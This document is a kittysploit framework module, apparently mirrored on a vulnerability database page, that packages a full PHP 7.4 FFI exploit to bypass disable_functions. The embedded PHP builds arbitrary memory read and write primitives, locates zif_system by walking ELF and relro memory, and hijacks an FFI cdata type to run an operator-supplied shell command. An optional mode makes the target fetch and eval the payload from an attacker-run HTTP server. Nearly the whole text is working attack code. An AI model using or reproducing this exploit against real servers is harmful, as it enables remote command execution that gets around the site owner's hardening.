PHP 7.4 > ffi disable_functions bypass
from kittysploit import *
from lib.protocols.http.http_server import Http_server as HTTPServer
class Module(Post, HTTPServer):
__info__ = {
"name": "PHP 7.4 > ffi disable_functions bypass",
"description": "PHP 7.4 > ffi disable_functions bypass",
"arch": Arch.PHP,
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': ['rce', 'shell', 'file_read'],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': ['shell'],
'option_bindings': {},
'suggested_followups': []},
},
}
command = OptString("uname -a", "command system to send", True)
start_web_delivery = OptBool(False, "start web delivery", True)
def check(self):
"""Check if target is vulnerable"""
return True
def run(self):
# Use raw f-string to preserve PHP braces while allowing command substitution
data = rf"""
ini_set("display_errors", "On");
error_reporting(E_ALL);
function pwn($cmd) {{
function allocate($amt, $fill) {{
$buf = FFI::new("char [".$amt."]");
$bufPtr = FFI::addr($buf);
FFI::memset($bufPtr, $fill, $amt);
return array($bufPtr, $buf);
}}
function leak($ptr, $n, $hex) {{
if ( $hex == 0 ) {{
return FFI::string($ptr, $n);
}} else {{
return bin2hex(FFI::string($ptr, $n));
}}
}}
function ptrVal($ptr) {{
$tmp = FFI::cast("uint64_t", $ptr);
return $tmp->cdata;
}}
function Read($addr, $n = 8, $hex = 0) {{
list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
$vulnBufPtrPtr = FFI::addr($vulnBufPtr);
$vulnBufPtrVal = ptrVal($vulnBufPtr);
$vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal));
printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal));
printf("-------\n\n");
$packedAddr = pack("Q",$addr);
FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
return leak($vulnBufPtr, $n, $hex);
}}
function Write($addr, $what, $n) {{
list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
$vulnBufPtrPtr = FFI::addr($vulnBufPtr);
$vulnBufPtrVal = ptrVal($vulnBufPtr);
$vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal));
printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal));
printf("-------\n\n");
$packedAddr = pack("Q",$addr);
FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
FFI::memcpy($vulnBufPtr, $what, $n);
}}
function isPtr($knownPtr, $testPtr) {{
if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) {{
return 1;
}} else {{
return 0;
}}
}}
function walkSearch($segmentLeak, $maxQWORDS, $target, $size = 8, $up = 0) {{
$start = $segmentLeak;
for($i = 0; $i < $maxQWORDS; $i++) {{
if ( $up == 0 ) {{ // walk 'down' addresses
$addr = $start - (8 * $i);
}} else {{ // walk 'up' addresses
$addr = $start + (8 * $i);
}}
//$leak = Read($addr, 8);
$leak = unpack("Q", Read($addr))[1];
// skip if its not a valid pointer...
if ( isPtr($segmentLeak, $leak) == 0 ) {{
continue;
}}
$leak2 = Read($leak, $n = $size);
//printf("0x%x->0x%x = %s\n", $addr, $leak, $leak2);
if( strcmp($leak2, $target) == 0 ) {{ # match
return array ($leak, $addr);
}}
}}
return array(0, 0);
}}
function getBinaryBase($textLeak) {{
$start = $textLeak & 0xfffffffffffff000;
for($i = 0; $i < 0x10000; $i++) {{
$addr = $start - 0x1000 * $i;
$leak = Read($addr, 7);
//if($leak == 0x10102464c457f) {{ # ELF header
if( strcmp($leak, "\x7f\x45\x4c\x46\x02\x01\x01") == 0 ) {{ # ELF header
return $addr;
}}
}}
return 0;
}}
function parseElf($base) {{
$e_type = unpack("S", Read($base + 0x10, 2))[1];
$e_phoff = unpack("Q", Read($base + 0x20))[1];
$e_phentsize = unpack("S", Read($base + 0x36, 2))[1];
$e_phnum = unpack("S", Read($base + 0x38, 2))[1];
for($i = 0; $i < $e_phnum; $i++) {{
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = unpack("L", Read($header, 4))[1];
$p_flags = unpack("L", Read($header + 4, 4))[1];
$p_vaddr = unpack("Q", Read($header + 0x10))[1];
$p_memsz = unpack("Q", Read($header + 0x28))[1];
if($p_type == 1 && $p_flags == 6) {{ # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
}} else if($p_type == 1 && $p_flags == 5) {{ # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}}
}}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}}
function getBasicFuncs($base, $elf) {{
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {{
$leak = unpack("Q", Read($data_addr+ ($i * 8)))[1];
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
$deref = unpack("Q", Read($leak))[1];
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
}} else continue;
$leak = unpack("Q", Read($data_addr + (($i + 4) * 8)))[1];
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
$deref = unpack("Q", Read($leak))[1];
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
}} else continue;
return $data_addr + $i * 8;
}}
}}
function getSystem($basic_funcs) {{
$addr = $basic_funcs;
do {{
$f_entry = unpack("Q", Read($addr))[1];
$f_name = Read($f_entry, 6) . "\0";
if( strcmp($f_name, "system\0") == 0) {{ # system
return unpack("Q", Read($addr + 8))[1];
}}
$addr += 0x20;
}} while($f_entry != 0);
return false;
}}
// Convenient for debugging
function crash() {{
Write(0x0, "AAAA", 4);
}}
printf("\n[+] Starting exploit...\n");
list($dummyPtr, $dummy) = allocate(64, 0x41);
$dummyPtrVal = ptrVal($dummyPtr);
$dummyPtrPtr = FFI::addr($dummyPtr);
$dummyPtrPtrVal = ptrVal($dummyPtrPtr);
printf("Dummy BufPtr = 0x%x\n", $dummyPtrVal);
printf("Dummy BufPtrPtr = 0x%x\n", $dummyPtrPtrVal);
$r = leak($dummyPtr, 64, 1);
printf("Dummy buf:\n%s\n", $r);
printf("-------\n\n");
$r = Read($dummyPtrVal, 256, 1);
printf("Read Test (DummyBuf):\n%s\n", $r);
Write($dummyPtrVal, "CCCCCCCC", 8);
$r = Read($dummyPtrVal, 256, 1);
printf("Write Test (DummyBuf):\n%s\n", $r);
// ----------
*/
$handlersPtrPtr = $dummyPtrPtrVal - (6 * 8);
printf("_zend_ffi_cdata.ptr.std.handlers = 0x%x\n", $handlersPtrPtr);
$handlersPtr = unpack("Q", Read($handlersPtrPtr))[1]; // --> zend_ffi_cdata_handlers -> .bss
printf("zend_ffi_cdata_handlers = 0x%x\n", $handlersPtr);
// Find our 'known' value in the .rodata section -- in this case 'CORE'
// (backup can be 'STDIO)'
list($rodataLeak, $rodataLeakPtr) = walkSearch($handlersPtr, 0x400,"Core", $size=4);
if ( $rodataLeak == 0 ) {{
// If we failed let's just try to find PHP's base and hope for the best
printf("Get rodata addr failed...trying for last ditch effort at PHP's ELF base\n");
// use .txt leak
$textLeak = unpack("Q", Read($handlersPtr+16))[1]; // zned_objects_destroy_object
printf(".textLeak = 0x%x\n", $textLeak);
$base = getBinaryBase($textLeak);
if ( $base == 0 ) {{
die("Failed to get binary base\n");
}}
printf("BinaryBase = 0x%x\n", $base);
// parse elf
if (!($elf = parseElf($base))) {{
die("failed to parseElf\n");
}}
if (!($basicFuncs = getBasicFuncs($base, $elf))) {{
die("failed to get basic funcs\n");
}}
if (!($zif_system = getSystem($basicFuncs))) {{
die("Failed to get system\n");
}}
// XXX HERE XXX
//die("Get rodata addr failed\n");
}} else {{
printf(".rodata leak ('CORE' ptr) = 0x%x->0x%x\n", $rodataLeakPtr, $rodataLeak);
// Right after the "Core" ptrptr is zend_version's relro entry - XXX this may not be static
// zend_version is in .data.rel.ro
$dataRelroPtr = $rodataLeakPtr + 8;
printf("PtrPtr to 'zend_verson' relro entry: 0x%x\n", $dataRelroPtr);
// Read the .data.relro potr
$dataRelroLeak = unpack("Q", Read($dataRelroPtr))[1];
if ( isPtr($dataRelroPtr, $dataRelroLeak) == 0 ) {{
die("bad zend_version entry pointer\n");
}}
printf("Ptr to 'zend_verson' relro entry: 0x%x\n", $dataRelroLeak);
// Confirm this is a ptrptr to zend_version
$r = unpack("Q", Read($dataRelroLeak))[1];
if ( isPtr($dataRelroLeak, $r) == 0 ) {{
die("bad zend_version entry pointer\n");
}}
printf("'zend_version' string ptr = 0x%x\n", $r);
$r = Read($r, $n = 12);
if ( strcmp($r, "zend_version") ) {{
die("Failed to find zend_version\n");
}}
printf("[+] Verified data.rel.ro leak @ 0x%x!\n", $dataRelroLeak);
/* Walk FORWARD the .data.rel.ro segment looking for the zif_system entry
- this is a LARGE section...
*/
list($systemStrPtr, $systemEntryPtr) = walkSearch($dataRelroLeak, 0x3000, "system", $size = 6, $up =1);
if ( $systemEntryPtr == 0 ) {{
die("Failed to find zif_system relro entry\n");
}}
printf("system relro entry = 0x%x\n", $systemEntryPtr);
$zif_systemPtr = $systemEntryPtr + 8;
$r = unpack("Q", Read($zif_systemPtr))[1];
if ( isPtr($zif_systemPtr, $r) == 0 ) {{
die("bad zif_system pointer\n");
}}
$zif_system = $r;
}}
printf("[+] zif_system @ 0x%x\n", $zif_system);
// --------------------------- end of leak zif_system address
// --------------------------- start call zif_system
/* To call system in a controlled manner
the easiest way is to create cdata object, write target RIP (zif_system's address) to it
and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it
*/
$helper = FFI::new("char* (*)(const char *)");
//$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control
$helperPtr = FFI::addr($helper);
//list($helperPtr, $helper) = allocate(8, 0x43);
//$x[0] = $zif_system;
$helperPtrVal = ptrVal($helperPtr);
$helperPtrPtr = FFI::addr($helperPtr);
$helperPtrPtrVal = ptrVal($helperPtrPtr);
printf("helper.ptr_holder @ 0x%x -> 0x%x\n", $helperPtrPtrVal, $helperPtrVal);
// Walk the type pointers
//$helperObjPtr = $helperPtrPtrVal - (9 *8); // to top of cdata object
//printf("helper CDATA object @ 0x%x\n", $helperObjPtr);
$helperTypePtrPtr = $helperPtrPtrVal - (2 *8); // 2 DWORDS up the struct to *type ptr
//printf("helper CDATA type PtrPtr @ 0x%x\n", $helperTypePtrPtr);
$r = unpack("Q", Read($helperTypePtrPtr))[1];
if ( isPtr($helperTypePtrPtr, $r) == 0 ) {{
die("bad helper type pointer\n");
}}
$helperTypePtr = $r;
// Confirm it's currently ZEND_FFI_TYPE_VOID (0)
$r = Read($helperTypePtr, $n=1, $hex=1);
if ( strcmp($r, "00") ) {{
die("Unexpected helper type!\n");
}}
printf("Current helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_VOID (0)\n", $helperTypePtrPtr, $helperTypePtr);
// Set it to ZEND_FFI_TYPE_FUNC (16 w/ HAVE_LONG_DOUBLE else 15)
Write($helperTypePtr, "\x10", 1);
printf("Swapped helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_FUNC (16)\n", $helperTypePtrPtr, $helperTypePtr);
// Finally write zif_system to the value
Write($helperPtrVal, pack("Q", $zif_system), 8);
$execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's
$execute_data .= pack("L", 0); // this.u1.type
$execute_data .= pack("L", 1); // this.u2.num_args
$execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj
$execute_data .= str_shuffle(str_repeat("D", 8)); //padding
$cmd_ = str_repeat("X", 16); // unk padding
$cmd_ .= pack("Q", strlen($cmd)); // string len
$cmd_ .= $cmd . "\0"; // ensure null terminated!
list($cmdBufPtr, $cmdBuf) = allocate(strlen($cmd_), 0);
$cmdBufPtrVal = ptrVal($cmdBufPtr);
FFI::memcpy($cmdBufPtr, $cmd_, strlen($cmd_));
printf("cmdBuf Ptr = 0x%x\n", $cmdBufPtrVal);
// Now setup the zval object itself
$zval = pack("Q", $cmdBufPtrVal); // zval.value (pointer to cmd string)
$zval .= pack("L", 6); // zval.u1.type (IS_STRING [6])
$zval .= pack("L", 0); // zval.u2 - unused
$execute_data .= $zval;
// ---------- end of setup argument object
// ----------------------- start of build zif_system argument
$res = $helper($execute_data);
}}
pwn("COMMAND_PLACEHOLDER");
"""
# Replace command placeholder with actual command
command_escaped = self.command.replace('"', '\\"')
data = data.replace("COMMAND_PLACEHOLDER", command_escaped)
if self.start_web_delivery:
host, port, httpd = self.web_delivery(data)
print_info(self.cmd_execute(f"$a=file_get_contents('http://{host}:{port}');eval($a);"))
self.web_shutdown(httpd)
else:
print_info(self.cmd_execute(data))
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8